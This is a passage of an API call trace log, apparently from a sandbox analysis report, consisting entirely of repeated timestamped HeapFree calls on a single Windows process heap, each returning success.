hHeap=0x660000) returned 1 [0149.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.619] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.623] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.624] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.633] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.648] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.690] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.695] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.698] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.701] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.825] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.829] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42cddd8 | out: hHeap=0x660000) returned 1 [0149.830] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.836] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.836] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.838] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.839] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.841] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.841] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.844] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.891] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.893] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.894] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.903] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.912] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x426ddc0 | out: hHeap=0x660000) returned 1 [0149.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.923] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.970] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.971] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.972] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.973] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.974] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.977] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x425ddb8 | out: hHeap=0x660000) returned 1 [0149.981] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.983] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.336] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.336] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.337] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.337] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.341] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.343] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.343] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.346] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.348] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.348] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.351] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.351] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.351] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.352] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.352] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.354] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0150.356] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x424ddb0 | out: hHeap=0x660000) returned 1 [0150.356] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.357] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.357] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.360] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.362] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41e2978 | out: hHeap=0x660000) returned 1 [0150.369] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b60e10 | out: hHeap=0x660000) returned 1 [0150.787] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.787] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.787] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.788] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.788] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.789] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.798] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.799] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.799] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.802] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.805] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0150.805] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.805] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.806] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.807] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.807] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.808] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.809] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0150.813] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.813] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0150.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.823] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.823] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.824] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.824] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.824] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.825] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.825] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.825] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.826] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.826] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.826] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.827] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.827] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.827] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.828] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.828] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.828] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0150.829] HeapFree (in: 